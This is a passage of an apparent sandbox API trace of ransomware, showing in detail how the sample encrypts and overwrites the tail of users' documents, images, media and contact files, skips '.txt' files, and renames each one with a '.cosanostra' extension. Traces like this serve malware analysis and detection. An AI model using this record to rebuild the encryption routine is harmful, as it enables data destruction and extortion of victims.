nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df54c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df54c*=0x2800, lpOverlapped=0x0) returned 1 [0097.900] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.900] WriteFile (in: hFile=0x15c, lpBuffer=0x28df58c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df54c, lpOverlapped=0x0 | out: lpBuffer=0x28df58c*, lpNumberOfBytesWritten=0x28df54c*=0x4, lpOverlapped=0x0) returned 1 [0097.900] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df54c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df54c*=0x30, lpOverlapped=0x0) returned 1 [0097.900] CloseHandle (hObject=0x15c) returned 1 [0097.900] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\iR1hE.xls.cosanostra") returned 84 [0097.900] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\iR1hE.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\ir1he.xls"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\iR1hE.xls.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\ir1he.xls.cosanostra")) returned 1 [0097.901] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df588 | out: pbBuffer=0x28df588) returned 1 [0097.901] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df580*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df580*=0x30) returned 1 [0097.901] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\FvOSdw0jk.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\fvosdw0jk.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.901] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\FvOSdw0jk.doc") returned 77 [0097.901] StrStrW (lpFirst="FvOSdw0jk.doc", lpSrch=".txt") returned 0x0 [0097.902] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.902] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df544, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df544*=0x2800, lpOverlapped=0x0) returned 1 [0097.902] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.902] WriteFile (in: hFile=0x15c, lpBuffer=0x28df584*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df544, lpOverlapped=0x0 | out: lpBuffer=0x28df584*, lpNumberOfBytesWritten=0x28df544*=0x4, lpOverlapped=0x0) returned 1 [0097.902] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df544, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df544*=0x30, lpOverlapped=0x0) returned 1 [0097.902] CloseHandle (hObject=0x15c) returned 1 [0097.902] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\FvOSdw0jk.doc.cosanostra") returned 88 [0097.902] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\FvOSdw0jk.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\fvosdw0jk.doc"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\FvOSdw0jk.doc.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\fvosdw0jk.doc.cosanostra")) returned 1 [0097.903] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df588 | out: pbBuffer=0x28df588) returned 1 [0097.903] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df580*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df580*=0x30) returned 1 [0097.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\dRNZGbJU1j4TrP14uIvi.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\drnzgbju1j4trp14uivi.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.904] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\dRNZGbJU1j4TrP14uIvi.csv") returned 88 [0097.904] StrStrW (lpFirst="dRNZGbJU1j4TrP14uIvi.csv", lpSrch=".txt") returned 0x0 [0097.939] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.939] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df544, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df544*=0x2800, lpOverlapped=0x0) returned 1 [0097.939] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.939] WriteFile (in: hFile=0x15c, lpBuffer=0x28df584*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df544, lpOverlapped=0x0 | out: lpBuffer=0x28df584*, lpNumberOfBytesWritten=0x28df544*=0x4, lpOverlapped=0x0) returned 1 [0097.939] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df544, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df544*=0x30, lpOverlapped=0x0) returned 1 [0097.939] CloseHandle (hObject=0x15c) returned 1 [0097.941] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\dRNZGbJU1j4TrP14uIvi.csv.cosanostra") returned 99 [0097.941] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\dRNZGbJU1j4TrP14uIvi.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\drnzgbju1j4trp14uivi.csv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\dRNZGbJU1j4TrP14uIvi.csv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\drnzgbju1j4trp14uivi.csv.cosanostra")) returned 1 [0098.093] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df580 | out: pbBuffer=0x28df580) returned 1 [0098.093] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df578*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df578*=0x30) returned 1 [0098.093] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\2Io5fXL3W.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\2io5fxl3w.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.094] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\2Io5fXL3W.mkv") returned 76 [0098.094] StrStrW (lpFirst="2Io5fXL3W.mkv", lpSrch=".txt") returned 0x0 [0098.095] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.095] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df53c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df53c*=0x2800, lpOverlapped=0x0) returned 1 [0098.095] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.095] WriteFile (in: hFile=0x160, lpBuffer=0x28df57c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df53c, lpOverlapped=0x0 | out: lpBuffer=0x28df57c*, lpNumberOfBytesWritten=0x28df53c*=0x4, lpOverlapped=0x0) returned 1 [0098.095] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df53c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df53c*=0x30, lpOverlapped=0x0) returned 1 [0098.095] CloseHandle (hObject=0x160) returned 1 [0098.095] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\2Io5fXL3W.mkv.cosanostra") returned 87 [0098.095] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\2Io5fXL3W.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\2io5fxl3w.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\2Io5fXL3W.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\2io5fxl3w.mkv.cosanostra")) returned 1 [0098.097] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df578 | out: pbBuffer=0x28df578) returned 1 [0098.097] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df570*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df570*=0x30) returned 1 [0098.097] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WEEsOkvgGEi.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\weesokvggei.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.097] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WEEsOkvgGEi.bmp") returned 57 [0098.097] StrStrW (lpFirst="WEEsOkvgGEi.bmp", lpSrch=".txt") returned 0x0 [0098.098] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.098] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df534, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df534*=0x2800, lpOverlapped=0x0) returned 1 [0098.098] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.098] WriteFile (in: hFile=0x160, lpBuffer=0x28df574*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df534, lpOverlapped=0x0 | out: lpBuffer=0x28df574*, lpNumberOfBytesWritten=0x28df534*=0x4, lpOverlapped=0x0) returned 1 [0098.098] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df534, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df534*=0x30, lpOverlapped=0x0) returned 1 [0098.098] CloseHandle (hObject=0x160) returned 1 [0098.099] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WEEsOkvgGEi.bmp.cosanostra") returned 68 [0098.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WEEsOkvgGEi.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\weesokvggei.bmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WEEsOkvgGEi.bmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\weesokvggei.bmp.cosanostra")) returned 1 [0098.100] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df578 | out: pbBuffer=0x28df578) returned 1 [0098.100] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df570*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df570*=0x30) returned 1 [0098.101] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vy1ZJOLfxuE_.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vy1zjolfxue_.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.101] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vy1ZJOLfxuE_.bmp") returned 58 [0098.101] StrStrW (lpFirst="Vy1ZJOLfxuE_.bmp", lpSrch=".txt") returned 0x0 [0098.102] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.102] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df534, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df534*=0x2800, lpOverlapped=0x0) returned 1 [0098.102] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.102] WriteFile (in: hFile=0x160, lpBuffer=0x28df574*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df534, lpOverlapped=0x0 | out: lpBuffer=0x28df574*, lpNumberOfBytesWritten=0x28df534*=0x4, lpOverlapped=0x0) returned 1 [0098.102] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df534, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df534*=0x30, lpOverlapped=0x0) returned 1 [0098.102] CloseHandle (hObject=0x160) returned 1 [0098.103] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vy1ZJOLfxuE_.bmp.cosanostra") returned 69 [0098.103] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vy1ZJOLfxuE_.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vy1zjolfxue_.bmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vy1ZJOLfxuE_.bmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vy1zjolfxue_.bmp.cosanostra")) returned 1 [0098.104] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df570 | out: pbBuffer=0x28df570) returned 1 [0098.105] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df568*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df568*=0x30) returned 1 [0098.105] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v-uwJ3L2muKc2T_K-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v-uwj3l2mukc2t_k-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.105] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v-uwJ3L2muKc2T_K-.gif") returned 63 [0098.105] StrStrW (lpFirst="v-uwJ3L2muKc2T_K-.gif", lpSrch=".txt") returned 0x0 [0098.106] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.106] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df52c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df52c*=0x2800, lpOverlapped=0x0) returned 1 [0098.106] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.106] WriteFile (in: hFile=0x160, lpBuffer=0x28df56c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df52c, lpOverlapped=0x0 | out: lpBuffer=0x28df56c*, lpNumberOfBytesWritten=0x28df52c*=0x4, lpOverlapped=0x0) returned 1 [0098.106] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df52c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df52c*=0x30, lpOverlapped=0x0) returned 1 [0098.107] CloseHandle (hObject=0x160) returned 1 [0098.107] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v-uwJ3L2muKc2T_K-.gif.cosanostra") returned 74 [0098.107] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v-uwJ3L2muKc2T_K-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v-uwj3l2mukc2t_k-.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v-uwJ3L2muKc2T_K-.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v-uwj3l2mukc2t_k-.gif.cosanostra")) returned 1 [0098.127] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df570 | out: pbBuffer=0x28df570) returned 1 [0098.127] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df568*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df568*=0x30) returned 1 [0098.128] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\N4nj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\n4nj.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.128] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\N4nj.wav") returned 69 [0098.128] StrStrW (lpFirst="N4nj.wav", lpSrch=".txt") returned 0x0 [0098.129] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffe00f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.129] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1ff1, lpNumberOfBytesWritten=0x28df52c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df52c*=0x1ff1, lpOverlapped=0x0) returned 1 [0098.129] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.129] WriteFile (in: hFile=0x160, lpBuffer=0x28df56c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df52c, lpOverlapped=0x0 | out: lpBuffer=0x28df56c*, lpNumberOfBytesWritten=0x28df52c*=0x4, lpOverlapped=0x0) returned 1 [0098.130] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df52c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df52c*=0x30, lpOverlapped=0x0) returned 1 [0098.130] CloseHandle (hObject=0x160) returned 1 [0098.130] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\N4nj.wav.cosanostra") returned 80 [0098.130] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\N4nj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\n4nj.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\N4nj.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\n4nj.wav.cosanostra")) returned 1 [0098.314] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df568 | out: pbBuffer=0x28df568) returned 1 [0098.314] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df560*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df560*=0x30) returned 1 [0098.314] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.315] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned 66 [0098.315] StrStrW (lpFirst="Aclviho ASldjfl.contact", lpSrch=".txt") returned 0x0 [0098.316] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffb66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.316] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x49a, lpNumberOfBytesWritten=0x28df524, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df524*=0x49a, lpOverlapped=0x0) returned 1 [0098.316] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.317] WriteFile (in: hFile=0x160, lpBuffer=0x28df564*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df524, lpOverlapped=0x0 | out: lpBuffer=0x28df564*, lpNumberOfBytesWritten=0x28df524*=0x4, lpOverlapped=0x0) returned 1 [0098.317] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df524, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df524*=0x30, lpOverlapped=0x0) returned 1 [0098.317] CloseHandle (hObject=0x160) returned 1 [0098.317] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.cosanostra") returned 77 [0098.318] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.cosanostra")) returned 1 [0098.318] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df568 | out: pbBuffer=0x28df568) returned 1 [0098.319] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df560*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df560*=0x30) returned 1 [0098.319] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.319] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df560 | out: pbBuffer=0x28df560) returned 1 [0098.319] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df558*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df558*=0x30) returned 1 [0098.319] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\." (normalized: 